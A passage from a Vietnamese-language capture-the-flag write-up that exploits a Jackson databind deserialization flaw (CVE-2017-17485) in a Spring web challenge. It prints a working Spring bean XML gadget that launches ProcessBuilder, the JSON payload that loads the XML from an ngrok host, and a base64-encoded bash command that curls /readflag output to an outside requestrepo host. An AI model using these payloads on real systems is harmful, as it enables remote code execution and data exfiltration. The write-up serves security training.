                    Object instance = constructor.newInstance(args[1], args[2]);
                    result.put(item.name, instance);
                } else {
                    result.put(item.name, "Error: currently only <= 2 arguments are supported.");
                }
            } catch (Exception e) {
                result.put(item.name, null);
            }
        }
    }
  • Tại đây mình thấy case object được sử dụng để truyền vào nhiều hơn 1 giá trị vào thuộc tính value, cách nhau bằng dấu |
  • Giá trị 1 trong value được coi là class để khởi tạo thông qua getConstructor, giá trị thứ 2 đóng vai trò là tham số truyền vào class giá trị 1 thông qua instance mới được tạo
  • Sau đó giá trị của thuộc tính name được đưa vào instance đó bằng result.put, tương tự khi truyền vào 3 giá trị thì giá trị thứ 2 và 3 sẽ là tham số truyền vào khi khởi tạo instance từ class giá trị 1.

Sink của lỗ hổng deser nằm ở readValue, mình đi xem xét các lib chương trình sử dụng để tìm kiếm các gadget chain được hiện trong file build.gradle:

dependencies {
    implementation 'org.springframework.boot:spring-boot-starter-web:3.2.5'
    implementation 'org.springframework.boot:spring-boot-starter-thymeleaf:3.2.5'
    implementation 'com.fasterxml.jackson.core:jackson-databind:2.17.1'
    implementation 'io.jsonwebtoken:jjwt:0.12.5'
    implementation 'org.springframework.boot:spring-boot-starter-validation:3.2.5'
    testImplementation 'org.springframework.boot:spring-boot-starter-test'
    testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}

Tìm kiếm về nơi sử dụng thì mình thấy lib databind được dùng để tạo objectmapper để readvalue

image
Tìm kiếm thì lib này dính CVE-2017-17485, được sử dụng để convert json thành các object, cve này có cve rõ ràng tại: https://www.cnblogs.com/afanti/p/10203282.html
PoC này có đoạn code xử lý gần giống với challenge, nên mình nghĩ cũng không thể bê nguyên được payload xml của họ đi mà cần chỉnh sửa.
Gadgetchain dùng để gọi đến class FileSystemXmlApplicationContext được sử dụng để tải file từ bên ngoài, ở đây là file pwn.xml chứa payload thực thi câu lệnh hệ thống thông qua các bean.
Chức năng readValue dùng để deserialize json, sau đó lấy giá trị của bean thông qua getBean và parse giá trị của câu lệnh như là một SpEL expression -> RCE
Giờ mình sẽ kết hợp nó vào chall để tạo thành payload của mình:
Đầu tiên, giá trị mình truyền vào là một List nên mình cần truyền vào kiểu mảng.
Giá trị của thuộc tính type sẽ là object, payload sẽ nằm trong value là class org.springframework.context.support.FileSystemXmlApplicationContext và url đến file pwn.xml cách nhau bằng dấu |. Giá trị name không quan trọng.
Payload bị urldecode 1 lần khi đi qua việc gán vào URL, và 1 lần nữa khi đi qua curl, nên mình cần phải encode url đoạn payload gadget 2 lần.
PoC của link mình để bên trên sẽ không hoạt động vì nó không trigger SpEL injection như cách trên, nên mình sẽ chỉnh sửa để khi getBean lấy beans thì method start được kích hoạt thay vì phải .start() bằng init-method:

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>curl</value>
            <value>jjqoqqb7.requestrepo.com</value>
        </list>
    </constructor-arg>
</bean>
</beans>

Mình sử dụng php server và ngrok để public file này ra ngoài
Gửi đi payload serialize:

serialized=[{"type":"object","name":"lmao","value":"org.springframework.context.support.FileSystemXmlApplicationContext|https://7706-104-28-254-75.ngrok-free.app/pwn.xml"}]

image
Curl ra ngoài thành công, mình sẽ lầy flag bằng cách curl ra ngoài kèm câu lệnh /readflag
Processbuilder và runtime.exec đều sẽ đưa các phần tử vào mảng nếu chúng cách nhau bằng 1 dấu cách, nên nếu ghi thẳng vào payload curl sẽ rất dễ fail vì giá trị args sẽ bị đưa vào các mảng khác nhau, nên cách tốt nhất là đưa vào base64 để thực thi:
image

curl -d "$(/readflag)" jjqoqqb7.requestrepo.com

-> Thực thi tại java: 
bash -c {echo,Y3VybCAtZCAiJCgvcmVhZGZsYWcpIiBqanFvcXFiNy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}

File pwn sẽ thêm một tham số nữa trong phần bean:

<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>bash</value>
            <value>-c</value>
            <value>{echo,Y3VybCAtZCAiJCgvcmVhZGZsYWcpIiBqanFvcXFiNy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}</value>
        </list>
    </constructor-arg>
</bean>

Exploit trên local thành công:

image
Thực thi trên server, mình có flag về request repo:
image

Flag: AKASEC{__I_gue55_y0u_do_l1k3_JAVA_aft3r_4LL__}